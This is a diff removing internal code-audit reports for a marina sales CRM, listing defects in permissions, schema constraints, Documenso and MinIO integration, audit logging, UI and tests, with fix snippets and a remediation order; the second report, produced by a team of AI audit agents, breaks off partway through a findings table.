- **Missing `portId` on UPDATE in folder-move route** (`api/v1/documents/[id]/folder/route.ts:41-44`) — pre-flight read scopes by portId so no current exploit, but defense-in-depth gap that breaks if pre-flight is ever refactored.
|
||||
- **Signer emails exposed to all `documents.view` holders** — confirm with product whether read-only roles should see signatory email addresses or get them redacted.
|
||||
|
||||
### Database / Migration
|
||||
|
||||
- **`uniq_document_folders_entity` doesn't cover `entity_type = NULL`** — rows with NULL entity_type but non-NULL entity_id can duplicate. Closes when CHECK constraint is tightened (A5 above).
|
||||
- **Backfill transaction holds advisory lock across N `ensureEntityFolder` calls** — at 10k files the lock is held for minutes. Batch in chunks of 500.
|
||||
- **`CREATE INDEX` without `CONCURRENTLY`** in migration 0051 — blocks writes briefly. Quantify: short-duration on small tables, moderate on prod-sized. Split for zero-downtime if needed.
|
||||
|
||||
### Concurrency / Error Paths
|
||||
|
||||
- **Storage blob orphaned on DB-insert failure** in `handleDocumentCompleted` — `storage.put` before `db.insert(files)`. No janitor. Long-standing tradeoff; document explicitly.
|
||||
- **`ensureSystemRoots`/`ensureEntityFolder` outside backfill transaction** — folder rows persist if the wrapping tx rolls back. Idempotent so re-run heals.
|
||||
- **`syncEntityFolderName` 50-attempt cap with concurrent renames to same target** — silent log + stale folder name. Accepted divergence.
|
||||
|
||||
### Performance
|
||||
|
||||
- **N+1 grows with linked entities** — leasing company with 50 yachts = 110 queries per page load. Worst case (5 companies + 100 yachts) = 216. Acceptable for now; future optimization: single CTE with grouping.
|
||||
- **Count queries can collapse via window function** — `count(*) OVER ()` halves round-trip count at scale.
|
||||
- **Missing composite indexes `(port_id, client_id)` / `(port_id, company_id)` / `(port_id, yacht_id)` on `files`** — same for `documents`. Add before prod backfill at scale.
|
||||
- **`listDocuments` calls `listTree()` twice when `includeDescendants=true`** — pass already-fetched tree into `hydrateDocumentsWithDownloadUrl`.
|
||||
|
||||
### Data migration (importer)
|
||||
|
||||
- **System-root collision risk** — bucket folders named `Clients`/`Companies`/`Yachts` silently merge into auto-created system roots. Add a pre-flight check that warns when any top-level segment matches a system root name.
|
||||
|
||||
### Observability
|
||||
|
||||
- **Archive/restore hooks missing `portId` in log context** (`companies.service.ts:215`, `yachts.service.ts:193`) — clients has it; companies and yachts don't.
|
||||
- **Backfill CLI has no row-count telemetry** — only "Backfill complete" on success. Want files-processed / folders-created / FKs-propagated counts.
|
||||
- **No log on empty aggregated projection** — `assertEntityInPort` returning false produces a silent empty result. Log warn with `portId + entityType + entityId`.
|
||||
- **`handleDocumentCompleted` outer catch loses `portId`** (line 1197).
|
||||
|
||||
### UI/UX
|
||||
|
||||
- **Em-dash in `SigningDetailsDialog` description** (line 62) — user-facing copy.
|
||||
- **Em-dashes baked into aggregated group labels** (`FROM COMPANY — ACME CORP`) — rendered on every entity folder view. `files.ts:335`, `documents.service.ts:1877`. Replace with colon or slash.
|
||||
- **Mixed `Loading...` (ASCII) and `Loading…` (Unicode ellipsis)** across components. Normalize.
|
||||
- **Raw `partially_signed` status in `HubRootView`** — no StatusPill or underscore replacement. Apply `StatusPill` or at minimum `replace(/_/g, ' ')`.
|
||||
- **"view signing details" button too subtle** — inline-text in a tight muted cluster, blends into the date. Consider `<Button variant="ghost" size="sm">`.
|
||||
|
||||
### Integration conformance (with v1 + v2 support)
|
||||
|
||||
- **Documenso poll worker double-fire of `handleDocumentCompleted`** writes a second blob + second `files` row and overwrites `signedFileId`. Confirmed by both concurrency and integration audits. Resolved by A1's idempotency gate.
|
||||
- **Poll worker omits `portId`** when calling `handleRecipientSigned` / `handleDocumentCompleted` — multi-port correctness risk.
|
||||
- **MinIO operations have no socket timeout** — TCP blackhole stalls workers indefinitely. `fetchWithTimeout` doesn't cover the minio client's `putObject`/`getObject`. Wrap with an external timeout (`AbortController` or `Promise.race`).
|
||||
- **No 0-byte check on `downloadSignedPdf` result** — a 0-byte response from Documenso writes a permanent corrupt `signedFileId` with no recovery path.
|
||||
- **`DOCUMENSO_API_VERSION` env defaults to `v1`** with no documentation in `.env.example` that v2 is supported. A v2-pointed deployment that misses the env var fires v1 code paths against a v2 instance.
|
||||
- **`DOCUMENT_DECLINED` event handler** — already listed as Critical F1; mentioned again here because the integration audit captured it under v2-specific gaps.
|
||||
- **`RECIPIENT_VIEWED` / `RECIPIENT_SIGNED`** v2 event aliases — currently silently dropped. Confirm whether v2 actually fires these or maps to `DOCUMENT_OPENED` / `DOCUMENT_SIGNED` like v1. If v2 fires them, add handlers.
|
||||
|
||||
### Realtime / Socket.IO
|
||||
|
||||
- **`useRealtimeInvalidation` is inside `FlatFolderListing`, not `DocumentsHub`** — torn down when navigating away. Lifting to DocumentsHub closes this and unblocks A2 cleanly.
|
||||
- **`['document-folders']` query key has no realtime invalidation path** — rep B renaming a folder takes up to 30s `staleTime` to surface for rep A. Add a folder-rename socket emit + invalidate.
|
||||
|
||||
### Audit log completeness
|
||||
|
||||
- **`createFolder` has no audit log** (line 102-136) — inconsistent with rename/move/delete which all audit.
|
||||
- **`handleDocumentCompleted` file insert has no audit** (line 1163-1180) — signed PDFs created with no audit trail.
|
||||
- **`syncEntityFolderName` ignores `_userId`** — folder renames driven by entity rename leave no audit trail.
|
||||
- **Archive/restore suffix helpers no audit** — parent entity action audits, but folder mutation doesn't.
|
||||
|
||||
### Type-safety
|
||||
|
||||
- **`entityType as 'client'|'company'|'yacht'`** in `documents-hub.tsx:134` — no runtime guard. Fix with `ENTITY_TYPES.has()`.
|
||||
- **`INFLIGHT_STATUSES as unknown as string[]`** — replace with `[...INFLIGHT_STATUSES]`.
|
||||
- **Loose `files?/workflows?` union + unconstrained `T`** in `AggregatedSection` — refactor to discriminated union + `T extends { id: string }`.
|
||||
|
||||
### Test quality
|
||||
|
||||
- **`mapWorkflowStatus` `partially_signed` fix has no regression test**.
|
||||
- **`applyEntityRestoredSuffix` "restore without prior archive" path not tested**.
|
||||
- **`folderId="" → null` validator transform has zero test coverage**.
|
||||
- **`syncEntityFolderName` collision beyond `(2)` untested** — if `isSiblingNameConflict` ever mis-classifies the error shape, retries never fire and the test wouldn't notice.
|
||||
|
||||
### Mobile
|
||||
|
||||
- **DocumentsHub sets no `useMobileChrome`/`setChrome` title** — falls back to URL-segment title-casing.
|
||||
- **FolderActionsMenu trigger overrides to 28×28px** — should use default `size="icon"` (44×44).
|
||||
- **SigningDetailsDialog signer email no `truncate`** — long emails overflow on narrow viewports.
|
||||
- **Breadcrumb tap targets too small** (`folder-breadcrumb.tsx:41-60`) — no padding.
|
||||
|
||||
---
|
||||
|
||||
## Minor (backlog)
|
||||
|
||||
Approximately 30 minor findings across all domains. Highlights:
|
||||
|
||||
- **Em-dashes in `CLAUDE.md`** (29 in prose bullets, all in pre-existing content; no new em-dashes added in commit `ab79894`) — backlog cleanup pass.
|
||||
- **`@radix-ui/react-icons` unused** — safe to remove from `package.json`.
|
||||
- **`@hookform/resolvers`, `zod`, `tailwindcss`** all have major-version updates available — DO NOT upgrade pre-cutover (breaking changes).
|
||||
- **Sonnet color contrast on `muted-foreground/70` opacity variant** (`aggregated-section.tsx:94`) — ~3.2:1 fails WCAG AA for normal text. Drop the `/70` tint.
|
||||
- **`<header>` element inside `<div>` not under a sectioning element** (`aggregated-section.tsx:92`) — wrong landmark scope; use `<div>` or `<h6>`.
|
||||
- **`h3` → `h5` jump in SigningDetailsDialog** (skipped heading level).
|
||||
- **`renameFolder` `updatedAt` test uses 10ms `setTimeout`** — fragile but `toBeGreaterThan` is OK; can drop the sleep entirely.
|
||||
- **`MINIO_AUTO_CREATE_BUCKET`** bypasses zod env schema; undocumented in `.env.example`.
|
||||
- **`DOCUMENSO_TEMPLATE_ID_EOI` + recipient ID vars absent from `.env.example`** with Port-Nimara-specific hardcoded defaults.
|
||||
- **`voidDocument` raw `FetchTimeoutError` propagation** — no `CodedError('DOCUMENSO_TIMEOUT')` wrap. Both call sites handle gracefully; cosmetic.
|
||||
|
||||
---
|
||||
|
||||
## Audit-by-audit completion log
|
||||
|
||||
| # | Audit | Status | Critical | Important | Minor |
|
||||
| --- | ------------------------------------------- | ------ | -------- | --------- | ----- |
|
||||
| 1 | Security & multi-tenant isolation | ✓ | 0 | 3 | 0 |
|
||||
| 2 | Database & migration safety | ✓ | 1 | 3 | 3 |
|
||||
| 3 | Concurrency, idempotency, error paths | ✓ | 1 | 3 | 3 |
|
||||
| 4 | Performance & query plans | ✓ | 1 | 3 | 3 |
|
||||
| 5 | Data migration from old system | ✓ | 1 | 1 | 3 |
|
||||
| 6 | Production observability | ✓ | 2 | 4 | 3 |
|
||||
| 7 | UI/UX | ✓ | 0 | 5 | 4 |
|
||||
| 8 | Integration conformance (Context7) | ✓ | 0 | 0 | 3 |
|
||||
| 9 | Dependency audit | ✓ | 0 | 0 | ~10 |
|
||||
| 10 | Accessibility (WCAG 2.1 AA) | ✓ | 4 | 5 | 4 |
|
||||
| 11 | Test quality & coverage | ✓ | 2 | 6 | 3 |
|
||||
| 12 | Realtime / Socket.IO | ✓ | 3 | 2 | 1 |
|
||||
| 13 | Audit log completeness | ✓ | 0 | 4 | 4 |
|
||||
| 14 | Type-safety | ✓ | 0 | 3 | 3 |
|
||||
| 15 | Mobile / responsive | ✓ | 6 | 5 | 3 |
|
||||
| 16 | Integration holes (MinIO + Documenso) | ✓ | 2 | 5 | 5 |
|
||||
| 17 | Data structure & sales process completeness | ✓ | 5 | 6 | 6 |
|
||||
|
||||
---
|
||||
|
||||
## Suggested remediation order
|
||||
|
||||
**Pre-merge (block this branch):**
|
||||
|
||||
1. A1 (concurrency idempotency) — 1 line, 5 minutes.
|
||||
2. A2 (realtime hookup) — ~30 min: lift one hook up two layers in component tree.
|
||||
3. A4 (importer folder_id) — 1 line in scripts/import-organized-documents.ts.
|
||||
4. A5 (CHECK NULL escape) — 1-line migration patch + re-apply.
|
||||
5. A6 (folder service logger) — add `import { logger }` + 3 warn calls.
|
||||
6. A7 (demote on hard-delete) — 1 line in client-hard-delete.service.ts.
|
||||
7. B1-B4 (a11y) — ~30 min combined: aria attributes only.
|
||||
8. C1-C7 (mobile) — ~1-2 hours: Sheet wrap + tap-target padding.
|
||||
9. E1 (test theatre) — convert skips to fails.
|
||||
10. F1 (DOCUMENT_DECLINED) — add case to switch.
|
||||
|
||||
**Pre-prod cutover (independent of branch):**
|
||||
|
||||
- A3 (LEFT JOIN port_id) — performance fix.
|
||||
- D1 (storage migration table list) — populate TABLES_WITH_STORAGE_KEYS.
|
||||
- D2 (.env.example URL) — strip `/api/v1`.
|
||||
- All Important security findings.
|
||||
- 0-byte signed PDF check.
|
||||
- MinIO socket timeout wrapper.
|
||||
- DOCUMENSO_API_VERSION documentation + v2 event audit.
|
||||
|
||||
**Post-prod (backlog on main):**
|
||||
|
||||
- Important UI/UX (em-dashes, loading state consistency, status pill on HubRootView).
|
||||
- Important audit log completeness.
|
||||
- Important type-safety tightening.
|
||||
- All Minor.
|
||||
|
||||
---
|
||||
|
||||
## Notes on session vs. pre-existing findings
|
||||
|
||||
Several Criticals (D1 storage migration script, D2 .env.example, A3 LEFT JOIN port_id, parts of the audit-log gaps and observability gaps) are long-standing — they survived multiple iterations of the codebase, sometimes since Phase 6a. Fixing them on this branch is fine but they're not regressions introduced by this session.
|
||||
|
||||
The session's actual regressions are: A1 (idempotency), A2 (realtime), A5 (CHECK NULL), A6 (folder service has no logger), A7 (demote not wired), B1-B4 (a11y missed during the UI rebuild), C1-C7 (mobile never tested), E1 (test theatre).
|
||||
|
||||
The dependency, integration-conformance (Context7), and type-safety audits are clean of Critical findings — your dep posture is solid and the implementation follows published specs.
|
||||
|
||||
---
|
||||
|
||||
## Audit 17 — Data structure & sales process completeness
|
||||
|
||||
**5 Critical, 6 Important, 6 Minor.** This audit walked the entire entity graph and the sales-process pipeline end-to-end. Most findings are not regressions from this session — they are gaps in the sales-process plumbing that pre-date the documents-hub-split work but matter for prod cutover. C-1 and C-3 are session-introduced; C-2, C-4, C-5 are long-standing.
|
||||
|
||||
### Critical (data graph + sales pipeline)
|
||||
|
||||
**G-C1. `deleteFolderSoftRescue` re-parents documents but not files — split delete behavior**
|
||||
`src/lib/services/document-folders.service.ts:268-282`
|
||||
|
||||
The soft-rescue transaction `UPDATE`s `documents.folderId = newParent`, then deletes the folder row. The schema cascade on `files.folderId` is `ON DELETE SET NULL` (not `SET DEFAULT newParent`) — so any files in the deleted folder land at **root**, while documents in the same folder correctly land at the deleted folder's **parent**. A folder containing both will scatter on delete.
|
||||
|
||||
Fix: inside the transaction, between the documents UPDATE and the folder DELETE:
|
||||
|
||||
```ts
|
||||
await tx
|
||||
.update(files)
|
||||
.set({ folderId: newParent })
|
||||
.where(and(eq(files.folderId, folderId), eq(files.portId, portId)));
|
||||
```
|
||||
|
||||
**G-C2. Client hard-delete blocked by `scratchpadNotes.linkedClientId` RESTRICT FK**
|
||||
`src/lib/services/client-hard-delete.service.ts:190-218` + `src/lib/db/schema/system.ts:180`
|
||||
|
||||
`scratchpadNotes.linkedClientId references clients.id` with no `onDelete` → defaults to RESTRICT. The hard-delete service nullifies six nullable FKs (files, documents, formSubmissions, emailThreads, reminders, documentSends) but skips `scratchpadNotes`. Any rep who scratchpad-linked a note to a client → hard-delete throws an FK violation and aborts the transaction.
|
||||
|
||||
Fix: add to the nullification block:
|
||||
|
||||
```ts
|
||||
await tx
|
||||
.update(scratchpadNotes)
|
||||
.set({ linkedClientId: null })
|
||||
.where(eq(scratchpadNotes.linkedClientId, args.clientId));
|
||||
```
|
||||
|
||||
**G-C3. Client hard-delete leaves ghost system folder with stale `entityId`**
|
||||
`src/lib/services/client-hard-delete.service.ts:214-218`
|
||||
|
||||
The unique index `uniq_document_folders_entity` on `(portId, entityType, entityId)` enforces a singleton system folder per entity. Hard-delete removes the client row but does not call `demoteSystemFolderOnEntityDelete`. The folder persists with `systemManaged=true, entityType='client', entityId=<deleted-id>` — invisible in the sidebar but holding the unique slot.
|
||||
|
||||
Fix: after the client delete, fire-and-forget the demote:
|
||||
|
||||
```ts
|
||||
void demoteSystemFolderOnEntityDelete(args.portId, 'client', args.clientId).catch(logger.error);
|
||||
```
|
||||
|
||||
(This is the same wire-up A7 in the main report flagged — confirmed missing on the hard-delete pathway specifically.)
|
||||
|
||||
**G-C4. Five of seven berth-rule triggers are defined but never called**
|
||||
`src/lib/services/berth-rules-engine.ts:37-44` vs `src/lib/services/documents.service.ts:798,894,1234`
|
||||
|
||||
`DEFAULT_RULES` defines triggers for `eoi_sent`, `eoi_signed`, `deposit_received`, `contract_signed`, `interest_archived`, `interest_completed`, `berth_unlinked`. Only `eoi_sent` and `eoi_signed` are passed to `evaluateRule` anywhere in the codebase.
|
||||
|
||||
Concrete consequences:
|
||||
|
||||
- Deposit received (invoice paid) → no berth state change. Should auto-mark berth as Sold.
|
||||
- Contract signed → no berth state change.
|
||||
- Interest archived → no "berth available" suggestion fires.
|
||||
- Interest marked Won/Lost → no rule trigger.
|
||||
- Interest unlinked from berth → no rule trigger (off-by-default, but configurable and silently dead).
|
||||
|
||||
Fix sketches:
|
||||
|
||||
- `invoices.ts:741` (after `advanceStageIfBehind('deposit_10pct')`):
|
||||
```ts
|
||||
const { evaluateRule } = await import('@/lib/services/berth-rules-engine');
|
||||
void evaluateRule('deposit_received', updated.interestId, portId, meta);
|
||||
```
|
||||
- `interests.service.ts:archiveInterest` after `softDelete`: fetch primary berth via `getPrimaryBerth`, then `void evaluateRule('interest_archived', ...)`.
|
||||
- `interests.service.ts:setInterestOutcome` after the outcome write: `void evaluateRule('interest_completed', ...)`.
|
||||
- `interest-berths.service.ts:removeInterestBerth` after delete: `void evaluateRule('berth_unlinked', ...)`.
|
||||
|
||||
**G-C5. `contract_sent` and `contract_signed` pipeline stages have zero auto-advancement triggers**
|
||||
`src/lib/services/documents.service.ts` (absent)
|
||||
|
||||
`STAGE_TRANSITIONS` defines `contract_sent` and `contract_signed` and they render in the Kanban/funnel UI, but no code path calls `advanceStageIfBehind(..., 'contract_sent')` or `advanceStageIfBehind(..., 'contract_signed')`. Sending a reservation agreement → no stage advance. Completing one (signed PDF arrives, `contractFileId` set in `handleDocumentCompleted` ~line 887) → no stage advance.
|
||||
|
||||
Effect: deals stall at whatever stage they hit when the reservation agreement was sent, until a rep manually drags them in the Kanban.
|
||||
|
||||
Fix: in `documents.service.ts`:
|
||||
|
||||
- `sendDocument` pathway (~line 798): if `doc.documentType === 'reservation_agreement'`, fire `advanceStageIfBehind(..., 'contract_sent', meta, 'Reservation agreement sent')`.
|
||||
- `handleDocumentCompleted` (~line 887, where `contractFileId` is set): fire `advanceStageIfBehind(..., 'contract_signed', meta, 'Reservation agreement signed')` and `evaluateRule('contract_signed', ...)`.
|
||||
|
||||
### Important (cross-entity gaps)
|
||||
|
||||
**G-I1. Portal email uniqueness is global, not per-port**
|
||||
`src/lib/db/schema/portal.ts:40` — `uniqueIndex('idx_portal_users_email_unique').on(table.email)`
|
||||
|
||||
A client who has dealt with two ports under this deployment can only ever have one portal account. The second `createPortalUser` will throw a unique-constraint violation. Make per-port (`.on(table.email, table.portId)`) if multi-port is a real deployment scenario, or document as single-port-only.
|
||||
|
||||
**G-I2. `archiveInterest` skips `interest_archived` rule and `notifyNextInLine`**
|
||||
`src/lib/services/interests.service.ts:985-1014`
|
||||
|
||||
Archive does the audit log + socket emit but does not (a) trigger the berth-availability rule, (b) notify the waiting list for the primary berth. The waiting-list code is only fired when the **client** is archived, not the **interest**.
|
||||
|
||||
Fix after `softDelete`: fetch primary berth → `evaluateRule('interest_archived', ...)` + `notifyNextInLine(primaryBerth.berthId, portId, meta.userId)`.
|
||||
|
||||
**G-I3. Yacht/company `restore` paths missing `applyEntityRestoredSuffix`**
|
||||
`src/lib/services/yachts.service.ts:178` + `src/lib/services/companies.service.ts:200`
|
||||
|
||||
Archive sides call `applyEntityArchivedSuffix`. Restore paths do not exist for yachts/companies at all today — but when they are added (or if the entity-restoration logic moves to the `clients/archive` parity routes), `applyEntityRestoredSuffix` must be wired. `clients.service.ts:596` already does this correctly.
|
||||
|
||||
**G-I4. `berthRecommendations.interestId` has no FK constraint**
|
||||
`src/lib/db/schema/berths.ts:134` — column comment says "references interests.id" but `.references()` is omitted.
|
||||
|
||||
If an interest is hard-deleted (currently only possible via `db:studio` or future migrations), stale `berthRecommendations` rows persist and skew the recommender's tier aggregates. Add `.references(() => interests.id, { onDelete: 'cascade' })` and generate a migration.
|
||||
|
||||
**G-I5. Portal invoices invisible for company-billed deals**
|
||||
`src/lib/services/portal.service.ts:232`
|
||||
|
||||
`getClientInvoices` matches on `billingEmail in client.emails`. Invoices with `billingEntityType='company'` (the most common B2B pattern: client is an individual buying through their company) are not surfaced even when the client is the company's director. Extend the query to OR-in invoices where `billingEntityType='company' AND company.directorClientId = portalUser.clientId`.
|
||||
|
||||
**G-I6. `hub-counts` API endpoint is orphaned**
|
||||
`src/app/api/v1/documents/hub-counts/route.ts:5-10` + `getHubTabCounts` in `documents.service.ts:397`
|
||||
|
||||
The hub rebuild on this branch removed the component that called this endpoint. Service function + route are dead code. Either wire a KPI strip back into `HubRootView` (the spec does call for this) or delete the route + service function.
|
||||
|
||||
### Minor
|
||||
|
||||
- **G-M1.** Website inquiry → client conversion is fully manual; `prefill_*` query params are hints only. `inquiry-inbox.tsx:119`.
|
||||
- **G-M2.** Polymorphic array columns (`photoFileIds`, `attachmentFileIds`) have no FK protection. Files deleted via any future hard-purge path silently orphan these arrays.
|
||||
- **G-M3.** `berthReservations.interestId` RESTRICT default (notNull, no `onDelete`) — intent (preserve history vs oversight) undocumented.
|
||||
- **G-M4.** `setInterestOutcome` to `won` does not fire berth-sold; downstream of G-C4.
|
||||
- **G-M5.** `advanceStageIfBehind` silently no-ops when `yachtId` is null at `open` stage. Walk-in EOIs (vessel not yet identified) stall invisibly at `open`.
|
||||
- **G-M6.** `removeInterestBerth` emits socket + webhook but skips `evaluateRule('berth_unlinked')`. Downstream of G-C4.
|
||||
|
||||
### Impact on cutover gate
|
||||
|
||||
- **G-C2** is the most pressing for cutover: it is a hard error on a foreseeable action (any rep deleting a client with a linked scratchpad note → 500). Fix before any team testing.
|
||||
- **G-C4 + G-C5** mean the berth-map status and Kanban columns will drift visually for every deal that progresses past EOI. This is not data corruption, but it will erode rep trust quickly during initial team testing. Fix before cutover.
|
||||
- **G-C1** is a UX correctness issue; will surprise reps but won't lose data. Same-branch fix.
|
||||
- **G-C3** is data-integrity hygiene; no immediate user-visible effect but pollutes the unique-folder slot. Same-branch fix.
|
||||
|
||||
### Updated headline
|
||||
|
||||
With Audit 17 folded in, the corrected count is **~28 Critical, ~38 Important, ~36 Minor** across 17 domains. The new Criticals (G-C2, G-C4, G-C5) are long-standing pre-existing gaps in the sales pipeline — they don't block this branch's merge to `main`, but they block prod cutover. G-C1 and G-C3 are this-branch issues and should be folded into the same fix pass as A1-A7.
|
||||
|
||||
### Suggested remediation order — addendum
|
||||
|
||||
After the A/B/C/D/E/F block from the main report:
|
||||
|
||||
1. **G-C1** — files folder UPDATE in `deleteFolderSoftRescue` transaction (1-line addition).
|
||||
2. **G-C2** — nullify `scratchpadNotes.linkedClientId` in `clientHardDelete` (1-line addition).
|
||||
3. **G-C3** — call `demoteSystemFolderOnEntityDelete` after client hard-delete (1-line addition).
|
||||
4. **G-C4 + G-C5** — wire 6 missing berth-rule + pipeline-advance triggers (~30 min total, spread across invoices.ts, interests.service.ts, interest-berths.service.ts, documents.service.ts).
|
||||
|
||||
Total addendum effort: ~1 hour for G-C1/G-C2/G-C3, ~30 min for G-C4/G-C5, plus 1 migration regen for I-4 if you choose to fix it now.
|
||||
@@ -1,335 +0,0 @@
|
||||
# Full Codebase Audit — 2026-05-18
|
||||
|
||||
> **Companion doc:** [Alpha UAT Master](./alpha-uat-master.md) — the multi-day cross-cutting Playwright/React-Grab walkthrough doc, findings cross-referenced here as `→ confirmed in manual #N`.
|
||||
>
|
||||
> **Methodology:** Parallel sonnet[1m] audit team (16 narrow-scope agents), each assigned a specific subsystem with no overlap. Every finding includes file:line evidence; severity is `critical | high | medium | low | info`. Findings here are raw — triage + prioritization at the bottom.
|
||||
>
|
||||
> **Scope:** entire `src/` tree at commit `b3f8756` (post-audit-cleanup). Excludes `docs/`, `tests/` (covered by F3), build/Docker config, and node_modules.
|
||||
>
|
||||
> **Out of scope:** anything in `docs/BACKLOG.md` already triaged. This audit looks for NEW findings not on that list.
|
||||
|
||||
---
|
||||
|
||||
## Audit team composition
|
||||
|
||||
| Agent | Scope |
|
||||
| ------------------------------- | ---------------------------------------------------------------------------------------- |
|
||||
| **A1 — Schema: people/orgs** | `src/lib/db/schema/{clients,yachts,companies,users}.ts` |
|
||||
| **A2 — Schema: pipeline** | `src/lib/db/schema/{interests,berths,reservations}.ts` |
|
||||
| **A3 — Schema: docs+infra** | `src/lib/db/schema/{documents,email,brochures,system}.ts` |
|
||||
| **B1 — Public API** | `src/app/api/public/*` |
|
||||
| **B2 — Admin API** | `src/app/api/v1/admin/*` |
|
||||
| **B3 — v1 entity CRUD** | `src/app/api/v1/{clients,interests,yachts,companies,berths}/*` |
|
||||
| **B4 — Webhooks/auth/storage** | `src/app/api/{webhooks,auth,storage}/*` |
|
||||
| **C1 — EOI/Documenso services** | `src/lib/services/{eoi-*,document-templates,custom-document-upload,documenso-client}.ts` |
|
||||
| **C2 — Domain services** | `src/lib/services/{berth-*,reminders,notifications,inquiry-notifications}.ts` |
|
||||
| **C3 — Observability/audit** | `src/lib/services/error-events.service.ts`, `src/lib/audit.ts`, `src/lib/storage/*` |
|
||||
| **D1 — Jobs/queues** | `src/lib/queue/scheduler.ts`, `src/lib/queue/workers/*`, `src/jobs/processors/*` |
|
||||
| **E1 — Admin UI** | `src/app/(dashboard)/[portSlug]/admin/*` |
|
||||
| **E2 — Entity UI** | `src/components/{interests,clients,yachts,companies,berths}/*` |
|
||||
| **F1 — Security cross-cut** | Auth/permission gaps, XSS/SQLi, port-isolation, secret leaks |
|
||||
| **F2 — Performance** | Missing indexes, N+1 queries, unbounded fan-outs, hot paths |
|
||||
| **F3 — Tests + deps** | Coverage gaps, package.json freshness, Docker/CI |
|
||||
|
||||
---
|
||||
|
||||
## Findings by agent
|
||||
|
||||
### A2 — Schema: pipeline (15 findings: 3 high, 4 medium, 7 low, 1 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
|
||||
| 1 | high | No DB-level CHECK on `interests.pipeline_stage` | `interests.ts:44` — text col, no CHECK; legacy 'completed' / 'eoi_signed' can persist via raw SQL |
|
||||
| 2 | high | No DB-level CHECK on `outcome`, `eoi_doc_status`, `reservation_doc_status`, `contract_doc_status` | `interests.ts:47-49,84` — bare text on all 4 enum-shaped columns |
|
||||
| 3 | high | No DB-level CHECK on `berths.status` | `berths.ts:31` — `derivePublicStatus()` silently falls through to 'Available' on bad values |
|
||||
| 4 | medium | No CHECK on `berth_reservations.status` — breaks `idx_br_active` invariant | `reservations.ts:34,61-64` — misspelled 'Active' bypasses the one-active-per-berth guard |
|
||||
| 5 | medium | Stale `berthId` field on `Interest` domain type | `src/types/domain.ts:39` — `interests.berth_id` was dropped in 0029; type still declares it |
|
||||
| 6 | medium | Board query missing composite partial index — bitmap-AND scan on large ports | `interests.ts:113-117` — need `(portId, pipelineStage) WHERE archivedAt IS NULL AND outcome IS NULL` |
|
||||
| 7 | medium | `interestTags.tagId` + `berthTags.tagId` are comment-only FKs, no DB constraint | `interests.ts:205-207`, `berths.ts:267-269` — tag deletes silently orphan junction rows |
|
||||
| 8 | medium | `berthWaitingList` lacks `port_id` column — no schema-level cross-port isolation | `berths.ts:170-192` — defense-in-depth depends entirely on service layer |
|
||||
| 9 | low | No index on `interest_berths.is_in_eoi_bundle` | bundle lookups scan all rows for the interestId |
|
||||
| 10 | low | `berthRecommendations` lacks `port_id` — same isolation pattern as #8 | `berths.ts:146-168` |
|
||||
| 11 | low | `interests.assignedTo`, `interest_berths.addedBy`/`eoiBypassedBy` are bare text — no FK to users | dead entries accumulate on user delete |
|
||||
| 12 | low | `berthMaintenanceLog.portId` FK missing onDelete — implicit NO ACTION breaks H-01 convention | `berths.ts:204-206` |
|
||||
| 13 | low | `berthReservations.startDate`/`endDate` use timestamptz `mode:'date'` — TZ off-by-one risk | should be `date()` |
|
||||
| 14 | low | `idx_interests_stage` is not partial — bloats with archived + closed rows | add `WHERE archivedAt IS NULL AND outcome IS NULL` |
|
||||
| 15 | info | `is_primary` ≤1 per interest invariant correctly enforced via partial unique index | `interests.ts:165-167` — no action needed |
|
||||
|
||||
### B2 — API: admin (10 findings: 2 medium, 8 low)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | medium | `GET /qualification-criteria` has no `withPermission` gate | `qualification-criteria/route.ts:9` — any authenticated user can enumerate; POST correctly gates |
|
||||
| 2 | medium | Triage PATCH on website-submissions uses `view_audit_log` (read) for a write | `website-submissions/[id]/triage/route.ts:26` — semantic mismatch; should be manage_settings |
|
||||
| 3 | low | `/admin/storage/route.ts` POST returns bare `result` without `{data:...}` | `storage/route.ts:64` — breaks toastError frontend hook |
|
||||
| 4 | low | `/admin/ocr-settings/test` POST returns bare result without `{data:...}` | `ocr-settings/test/route.ts:26` |
|
||||
| 5 | low | `/admin/ocr-settings` PUT returns `{ok:true}` — legacy success-flag pattern | `ocr-settings/route.ts:64` — should be 204 or `{data: updatedConfig}` |
|
||||
| 6 | low | `/admin/custom-fields/[fieldId]` PATCH uses raw `req.json()` + manual `.parse()` not `parseBody` | `custom-fields/[fieldId]/route.ts:18-19` — generic 500 instead of structured 400 |
|
||||
| 7 | low | `/admin/ai-budget` PUT — `setAiBudget` audit record missing ipAddress + userAgent | `ai-budget/route.ts:40` |
|
||||
| 8 | low | `/admin/ocr-settings` PUT — `saveOcrConfig` audit record missing ipAddress + userAgent | `ocr-settings/route.ts:53` — encrypted API key swap is high-impact, deserves full context |
|
||||
| 9 | low | `/admin/brochures/[id]` PATCH+DELETE pass no audit meta to service helpers | `brochures/[id]/route.ts:26,37` + brochures POST — pattern mismatch with form-templates, custom-fields, document-templates |
|
||||
| 10 | low | `/admin/email-templates` PUT returns `{data:{ok:true}}` — flag body instead of entity or 204 | `email-templates/route.ts:84` |
|
||||
|
||||
### A3 — Schema: docs+infra (15 findings: 1 high, 7 medium, 7 low)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | `documents.documenso_id` has NO INDEX | `documents.ts:88` — full table scan on every webhook delivery (hottest read path); only documenso_numeric_id is indexed |
|
||||
| 2 | medium | `documentSigners.signingToken` indexed but NOT unique | `documents.ts:188,193` — token collision/replay has no DB-level guard; should be partial uniqueIndex |
|
||||
| 3 | medium | `audit_logs` missing 4-column inspector index | `system.ts:62-63` — neither existing index covers `(port_id, entity_type, entity_id, ORDER BY created_at)` without heap re-filter |
|
||||
| 4 | medium | `system_settings NULLS NOT DISTINCT` lives in migration 0047 only — `db:push` drops it | `system.ts:144-149` — fresh `db:push` re-introduces the duplicate-global-settings bug 0047 fixed |
|
||||
| 5 | medium | `documentFolders.parentId` self-FK MISSING from Drizzle schema (only in migration 0050) | `documents.ts:357-358` — fresh `db:push` skips the self-FK; orphaned folders undetectable |
|
||||
| 6 | medium | `emailMessages.attachmentFileIds` text[] with no FK — dangling IDs survive RTBF wipe | `email.ts:78` + `client-hard-delete.service.ts:269-277` — RTBF wipes body/subject but not attachment file references |
|
